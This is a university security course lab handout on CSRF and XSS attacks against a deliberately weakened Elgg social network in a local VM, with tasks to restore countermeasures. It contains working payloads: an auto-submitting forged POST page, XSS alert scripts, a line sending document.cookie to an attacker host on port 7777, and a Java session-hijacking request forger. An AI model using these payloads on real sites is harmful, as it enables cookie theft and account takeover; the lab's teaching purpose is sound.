UNIVERSITY OF MARYLAND
DEPARTMENT OF ELECTRICAL AND COMPUTER ENGINEERING

ENEE 457/CMSC 498E
Computer Systems Security
Instructor: Dana Dachman-Soled

Programming Project 3: Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS)

Out: 09/25/17 Due: 10/11/17 10:59am

Instructions

1. Strictly adhere to the University of Maryland Code of Academic Integrity.
2. Submit the .html and .java files as a .zip file containing these files, as well as a writeup explaining what you did as a pdf document at Canvas. Include your full name in the writeup. Name the .zip file as x-project3.zip and the writeup as x-project3.pdf, where x is your first and last name. For example, if your name is "Jane Doe," you should be handing in two files named "JaneDoe-project3.zip" and "JaneDoe-project3.pdf."

Adjusted from SEED labs `http://www.cis.syr.edu/~wedu/seed/`

1 Lab Environment

You need to use our provided virtual machine image for this lab. The name of the VM image that supports this lab is called `SEEDUbuntu12.04.zip`, which is built in June 2014. If you happen to have an older version of our pre-built VM image, you need to download the most recent version, as the older version does not support this lab. Go to our SEED web page (`http://www.cis.syr.edu/~wedu/seed/`) to get the VM image.

1.1 Environment Configuration

In this lab, we need three things, which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Elgg` web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You need to first start the web server using the following command:

```
% sudo service apache2 start
```

The `Elgg` Web Application. We use an open-source web application called `Elgg` in this lab. `Elgg` is a web-based social-networking application. It is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts on the `Elgg` server and the credentials are given below.

User	UserName	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby
Charlie	charlie	seedcharlie
Samy	samy	seedsamy

Configuring DNS. We have configured the following URLs needed for this lab. To access the URLs , the Apache server needs to be started first:

URL	Description	Directory
`http://www.csrflabattacker.com`	Attacker web site	`/var/www/CSRF/Attacker/`
`http://www.csrflabelgg.com`	Elgg web site	`/var/www/CSRF/Elgg/`
`http://www.xsslabelgg.com`	Elgg	`/var/www/XSS/Elgg/`

The above URLs are only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name of each URL to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts`:

```
127.0.0.1       www.example.com
```

If your web server and browser are running on two different machines, you need to modify `/etc/hosts` on the browser's machine accordingly to map these domain names to the web server's IP address, not to `127.0.0.1`.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory `"/etc/apache2/sites-available"` contains the necessary directives for the configuration:

1. The directive `"NameVirtualHost *"` instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).
2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
```

```
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

2 Part I: CSRF Overview

A CSRF attack involves three actors: a trusted site (`Elgg`), a victim user of the trusted site, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his/her username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser. This request is a cross-site request, because the site from where the request is initiated is different from the site where the request goes to.
5. By design, web browsers automatically attach the session cookie to to the request, even if it is a cross-site request.
6. The trusted site, if vulnerable to CSRF, may process the malicious request forged by the attacker web site, because it does not know whether the request is a forged cross-site request or a legitimate one.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. Forging GET requests is relatively easier, as it does not even need the help of JavaScript; forging POST requests does need JavaScript. Since `Elgg` only uses POST, the tasks in this lab will only involve HTTP POST requests.

3 Part I: CSRF Lab Tasks

For the lab tasks, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable `Elgg` site accessible at `www.csrflabelgg.com` inside the virtual machine. The second web site is the attacker's malicious web site that is used for attacking `Elgg`. This web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

3.1 Task 1: CSRF Attack using GET Request

In this task, we need two people in the `Elgg` social network: Alice and Boby. Boby wants to become a friend to Alice, but Alice refuses to add Boby to her `Elgg` friend list. Boby decides to use the CSRF attack to achieve his goal. He sends Alice an URL (via an email or a posting in `Elgg`); Alice, curious about it, clicks on the URL, which leads her to Boby's web site: `www.csrflabattacker.com`. Pretend that you are Boby, describe how you can construct the content of the web page, so as soon as Alice visits the web page, Boby is added to the friend list of Alice (assuming Alice has an active session with `Elgg`).

To add a friend to the victim, we need to identify the Add Friend HTTP request, which is a GET request. In this task, you are not allowed to write JavaScript code to launch the CSRF attack. Your job is to make the

attack successful as soon as Alice visits the web page, without even making any click on the page (hint: you can use the `img` tag, which automatically triggers an HTTP GET request).

The resulting html file, which should be named "index-1.html" should be handed in.

3.2 Task 2: CSRF Attack using POST Request

In this lab, we need two people in the `Elgg` social network: Alice and Boby. Alice is one of the developers of the SEED project, and she asks Boby to endorse the SEED project by adding the message `"I support SEED project!"` in his `Elgg` profile, but Boby, who does not like hands-on lab activties, refuses to do so. Alice is very determined, and she wants to try the CSRF attack on Boby. Now, suppose you are Alice, your job is to launch such an attack.

One way to do the attack is to post a message to Boby's `Elgg` account, hoping that Boby will click the URL inside the message. This URL will lead Boby to your malicious web site `www.csrflabattacker.com`, where you can launch the CSRF attack.

The objective of your attack is to modify the victim's profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of `Elgg`. Allowing users to modify their profiles is a feature of `Elgg`. If users want to modify their profiles, they go to the profile page of `Elgg`, fill out a form, and then submit the form—sending a POST request—to the server-side script `/profile/edit.php`, which processes the request and does the profile modification.

The server-side script `edit.php` accepts both GET and POST requests, so you can use the same trick as that in Task 1 to achieve the attack. However, in this task, you are required to use the POST request. Namely, attackers (you) need to forge an HTTP POST request from the victim's browser, when the victim is visiting their malicious site. Attackers need to know the structure of such a request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using `LiveHTTPHeaders`. You may see something similar to the following (unlike HTTP `GET` requests, which append parameters to the URL strings, the parameters of HTTP `POST` requests are included in the HTTP message body):

```
 http://www.csrflabelgg.com/action/profile/edit

POST /action/profile/edit HTTP/1.1
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 642
__elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813
&name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E
&accesslevel%5Bdescription%5D=2&briefdescription= Iamelgguser1
&accesslevel%5Bbriefdescription%5D=2&location=US
&accesslevel%5Blocation%5D=2&interests=Football&accesslevel%5Binterests%5D=2
&skills=AndroidAppDev&accesslevel%5Bskills%5D=2
&contactemail=elgguser%40xxx.edu&accesslevel%5Bcontactemail%5D=2
&phone=3008001234&accesslevel%5Bphone%5D=2
&mobile=3008001234&accesslevel%5Bmobile%5D=2
&website=http%3A%2F%2Fwww.elgguser1.com&accesslevel%5Bwebsite%5D=2
&twitter=hacker123&accesslevel%5Btwitter%5D=2&guid=39
```

After understanding the structure of the request, you need to be able to generate the request from your attacking web page using JavaScript code. To help you write such a JavaScript program, we provide the sample code in Figure 1 (in the appendix). You can use this sample code to construct your malicious web site for the CSRF attacks.

Note: Please check the `single quote` characters in the program. When copying and pasting the JavaScript program in Figure 1, single quotes are encoded into a different symbol. Replace the symbol with the correct single quote.

The resulting html file, which should be named "index-2.html" should be handed in.

Questions. In addition to describing your attack in full details, you also need to answer the following questions in your report:

- *Question 1*: The forged HTTP request needs Boby's user id (guid) to work properly. If Alice targets Boby specifically, before the attack, she can find ways to get Boby's user id. Alice does not know Boby's `Elgg` password, so she cannot log into Boby's account to get the information. Please describe how Alice can find out Boby's user id.
- *Question 2:* If Alice would like to launch the attack to anybody who visits her malicious web page. In this case, she does not know who is visiting the web page before hand. Can she still launch the CSRF attack to modify the victim's `Elgg` profile? Please explain.

3.3 Task 3: Implementing a countermeasure for `Elgg`

`Elgg` does have a built-in countermeasures to defend against the CSRF attack. We have commented out the countermeasures to make the attack work. CSRF is not difficult to defend against, and there are several common approaches:

- *Secret-token approach*: Web applications can embed a secret token in their pages, and all requests coming from these pages will carry this token. Because cross-site requests cannot obtain this token, their forged requests will be easily identified by the server.
- *Referrer header approach*: Web applications can also verify the origin page of the request using the *referrer* header. However, due to privacy concerns, this header information may have already been filtered out at the client side.

The web application `Elgg` uses secret-token approach. It embeds two parameters `__elgg_ts` and `__elgg_token` in the request as a countermeasure to CSRF attack. The two parameters are added to the HTTP message body for the POST requests and to the URL string for the HTTP GET requests.

`Elgg` **secret-token and timestamp in the body of the request:** `Elgg` adds security token and timestamp to all the user actions to be performed. The following HTML code is present in all the forms where user action is required. This code adds two new hidden parameters `__elgg_ts` and `__elgg_token` to the POST request:

```
<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />
```

The `__elgg_ts` and `__elgg_token` are generated by the `views/default/input/securitytoken.php` module and added to the web page. The code snippet below shows how it is dynamically added to the web page.

```
$ts = time();
$token = generate_action_token($ts);
```

```
echo elgg_view('input/hidden', array('name' => '__elgg_token', 'value' => $token));
echo elgg_view('input/hidden', array('name' => '__elgg_ts', 'value' => $ts));
```

Elgg also adds the security tokens and timestamp to the JavaScript which can be accessed by

```
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;
```

Elgg security token is a hash value (md5 message digest) of the site secret value (retrieved from database), timestamp, user sessionID and random generated session string. There by defending against the CSRF attack. The code below shows the secret token generation in Elgg.

```
function generate_action_token($timestamp)
{
        $site_secret = get_site_secret();
        $session_id = session_id();
        // Session token
        $st = $_SESSION['__elgg_session'];

        if (($site_secret) && ($session_id))
        {
                return md5($site_secret . $timestamp . $session_id . $st);
        }

        return FALSE;
}
```

The PHP function session_id() is used to get or set the session id for the current session. The below code snippet shows random generated string for a given session __elgg_session apart from public user Session ID.

```
   .........
   ........
  // Generate a simple token (private from potentially public session id)
  if (!isset($_SESSION['__elgg_session'])) {
  $_SESSION['__elgg_session'] = ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX);
        ........
        ........
```

Elgg **secret-token validation:** The elgg web application validates the generated token and timestamp to defend against the CSRF attack. Every user action calls validate_action_token function and this function validates the tokens. If tokens are not present or invalid, the action will be denied and the user will be redirected.

The below code snippet shows the function validate_action_token.

```
function validate_action_token($visibleerrors = TRUE, $token = NULL, $ts = NULL)
{

  if (!$token) {        $token = get_input('__elgg_token');        }
  if (!$ts) {$ts = get_input('__elgg_ts');        }
  $session_id = session_id();
  if (($token) && ($ts) && ($session_id)) {
    // generate token, check with input and forward if invalid
    $required_token = generate_action_token($ts);
```

```
    // Validate token
    if ($token == $required_token) {

      if (_elgg_validate_token_timestamp($ts)) {
        // We have already got this far, so unless anything
        // else says something to the contrary we assume we're ok
        $returnval = true;
          ........
          ........
        }
      Else {
            ........
            ........
            register_error(elgg_echo('actiongatekeeper:tokeninvalid'));
            ........
            ........
      }
      ........
      ........
}
```

Turn on countermeasure: To turn on the countermeasure, please go to the directory `elgg/engine/lib` and find the function `action_gatekeeper` in the `actions.php` file. In function `action_gatekeeper` please comment out the "`return true;`" statement as specified in the code comments.

```
function action_gatekeeper($action) {

        //SEED:Modified to enable CSRF.
        //Comment the below return true statement to enable countermeasure
        return true;

         ........
         ........
}
```

Task: After turning on the countermeasure above, try the CSRF attack again, and describe your observation. Please point out the secret tokens in the HTTP request captured using `LiveHTTPHeaders`. Please explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?

4 Part I: Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screen shots. Please include the two .html files you created, index-1.html and index-2.html. You also need to provide explanation to the observations that are interesting or surprising.

5 Part II: XSS Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser.

Using this malicious code, the attackers can steal the victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named `Elgg` in our pre-built Ubuntu VM image. `Elgg` is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified `Elgg`, in a way that is similar to what Samy Kamkar did to `MySpace` in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.

6 Part II: XSS Lab Tasks

For the lab tasks, you will use a web site that is locally setup in the virtual machine. The web site is the vulnerable `Elgg` site accessible at `http://www.xsslabelgg.com` inside the virtual machine.

6.1 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
        src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

You do not need to submit anything for this task.

6.2 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

You do not need to submit anything for this task.

6.3 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 7777 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available from the lab's web site.

```
<script>document.write('<img src=http://attacker_IP_address:7777?c='
                                  + escape(document.cookie) + '   >');
</script>
```

Describe your observations and include screenshots of the output obtained from the TCP server.

6.4 Task 4: Session Hijacking using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the Elgg web server, including adding and deleting friends on behalf of the victim, deleting the victim's post, etc. Essentially, the attacker has hijacked the victim's session. In this task, we will launch this session hijacking attack, and write a program to add a friend on behalf of the victim. The attack should be launched from another virtual machine.

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox's LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. A screen shot of LiveHTTPHeaders is given in Figure 2. The LiveHTTPHeaders is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for adding friends look like, we can write a Java program to send out the same HTTP request. The Elgg server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP request. To simplify your task, we provide you with a sample Java program that does the following:

1. Open a connection to web server.
2. Set the necessary HTTP header information.
3. Send the request to web server.
4. Get the response from web server.

```
import java.io.*;
import java.net.*;


public class HTTPSimpleForge {

public static void main(String[] args) throws IOException {

try {
```

```
    int responseCode;
    InputStream responseIn=null;

    String requestDetails = "&__elgg_ts=<<correct_elgg_ts_value>>
                            &__elgg_token=<<correct_elgg_token_value>>";

        // URL to be forged.
        URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?
                            friend=<<friend_user_guid>>"+requestDetails);

        // URLConnection instance is created to further parameterize a
        // resource request past what the state members of URL instance
        // can represent.
        HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
        if (urlConn instanceof HttpURLConnection) {
        urlConn.setConnectTimeout(60000);
        urlConn.setReadTimeout(90000);
        }

        // addRequestProperty method is used to add HTTP Header Information.
        // Here we add User-Agent HTTP header to the forged HTTP packet.
        // Add other necessary HTTP Headers yourself. Cookies should be stolen
        // using the method in task3.
        urlConn.addRequestProperty("User-agent","Sun JDK 1.6");


        // HttpURLConnection a subclass of URLConnection is returned by
        // url.openConnection() since the url is an http request.
        if (urlConn instanceof HttpURLConnection) {
           HttpURLConnection httpConn = (HttpURLConnection) urlConn;

           // Contacts the web server and gets the status code from
             // HTTP Response message.
           responseCode = httpConn.getResponseCode();
           System.out.println("Response Code = " + responseCode);

           // HTTP status code HTTP_OK means the response was
           // received sucessfully.
           if (responseCode == HttpURLConnection.HTTP_OK)
             // Get the input stream from url connection object.
             responseIn = urlConn.getInputStream();
           // Create an instance for BufferedReader
           // to read the response line by line.
           BufferedReader buf_inp = new BufferedReader(
           new InputStreamReader(responseIn));
           String inputLine;
           while((inputLine = buf_inp.readLine())!=null) {
              System.out.println(inputLine);
           }
        }
   } catch (MalformedURLException e) {
        e.printStackTrace();
   }
}
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`

- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Note 1: You can compile a java program into bytecode by running "javac HTTPSimpleForge.java" on the console. You can run the byte code by running "java HTTPSimpleForge".

Note 2: `Elgg` uses two parameters `__elgg_ts` and `__elgg_token` as a countermeasure to defeat another related attack (Cross Site Request Forgery). Make sure that you set these parameters correctly for your attack to succeed. These parameters should be obtained using methods similar to those in Task 3.

Note 3: The attack should be launched from a different virtual machine; you should make the relevant changes to the attacker VM's `/etc/hosts` file, so your `Elgg` server's IP address points to the victim's machine's IP address, instead of the localhost (in our default setting).

The resulting .java file, which should be named "HTTPSimpleForge.java" should be handed in.

Make sure to document the steps of your attack and your observations (e.g. make sure to include screenshot showing how the victim's data was obtained by the attacker) and include these in your report.

6.5 Task 5: Countermeasures

`Elgg` does have a built in countermeasures to defend against the XSS attack. We have deactivated and commented out the countermeasures to make the attack work. There is a custom built security plugin `HTMLawed 1.8` on the Elgg web application which on activated, validates the user input and removes the tags from the input. This specific plugin is registered to the `function filter_tags` in the `elgg/engine/lib/input.php` file.

To turn on the countermeasure, login to the application as admin, goto `administration` (on top menu) → `plugins` (on the right panel), and select `security and spam` in the dropdown menu and click `filter`. You should find the `HTMLawed 1.8` plugin below. Click on `Activate` to enable the countermeasure.

In addition to the `HTMLawed 1.8` security plugin in `Elgg`, there is another built-in PHP method called `htmlspecialchars()`, which is used to encode the special characters in the user input, such as encoding `"<"` to `&lt`, `">"` to `&gt`, etc. Please go to the directory `elgg/views/default/output` and find the function call `htmlspecialchars` in `text.php`, `tagcloud.php`, `tags.php`, `access.php`, `tag.php`, `friendlytime.php`, `url.php`, `dropdown.php`, `email.php` and `confirmlink.php` files. Uncomment the corresponding `"htmlspecialchars"` function calls in each file.

Once you know how to turn on these countermeasures, please do the following:

1. Activate only the `HTMLawed 1.8` countermeasure but not `htmlspecialchars`; visit any of the victim profiles and describe your observations in your report.
2. Turn on both countermeasures; visit any of the victim profiles and describe your observation in your report.

Note: Please do not change any other code and make sure that there are no syntax errors.

7 Part II: Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screenshots. Please submit the

file HTTPSimpleForge.java. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] Elgg documentation: http://docs.elgg.org/wiki/Main_Page.

[2] JavaScript String Operations. http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.

[3] Session Security Elgg. http://docs.elgg.org/wiki/Session_security.

[4] Forms + Actions Elgg http://learn.elgg.org/en/latest/guides/actions.html.

[5] PHP:Session_id - Manual: http://www.php.net//manual/en/function.session-id.php.

[6] Essential Javascript – A Javascript Tutorial. Available at the following URL: http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial.

[7] The Complete Javascript Strings Reference. Available at the following URL: http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.

```
<html><body><h1>
  This page forges an HTTP POST request.
  </h1>
  <script type="text/javascript">

 function post(url,fields)
 {
    //create a <form> element.
    var p = document.createElement("form");

    //construct the form
    p.action = url;
    p.innerHTML = fields;
    p.target = "_self";
    p.method = "post";

    //append the form to the current page.
    document.body.appendChild(p);

   //submit the form
    p.submit();
 }

 function csrf_hack()
 {
    var fields;

    // The following are form entries that need to be filled out
    // by attackers. The entries are made hidden, so the victim
    // won't be able to see them.
    fields += "<input type='hidden' name='name' value='elgguser1'>";
    fields += "<input type='hidden' name='description' value=''>";
    fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
    fields += "<input type='hidden' name='briefdescription' value=''>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
    fields += "<input type='hidden' name='location' value=''>";
    fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
    fields += "<input type='hidden' name='guid' value='39'>";
    var url = "http://www.example.com";

    post(url,fields);
 }

 // invoke csrf_hack() after the page is loaded.
 window.onload = function() { csrf_hack();}
  </script>
 </body></html>
```

Figure 1: Sample JavaScript program

```
http://www.xsslabelgg.com/action/friends/add?friend=40&__elgg_ts=1402467511
                            &__elgg_token=80923e114f5d6c5606b7efaa389213b3

GET /action/friends/add?friend=40&__elgg_ts=1402467511
                            &__elgg_token=80923e114f5d6c5606b7efaa389213b3
HTTP/1.1
Host: www.xsslabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101
Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/elgguser2
Cookie: Elgg=7pgvml3vh04m9k99qj5r7ceho4
Connection: keep-alive

HTTP/1.1 302 Found
Date: Wed, 11 Jun 2014 06:19:28 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Location: http://www.xsslabelgg.com/profile/elgguser2
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
```

Figure 2: Screenshot of `LiveHTTPHeaders` Extension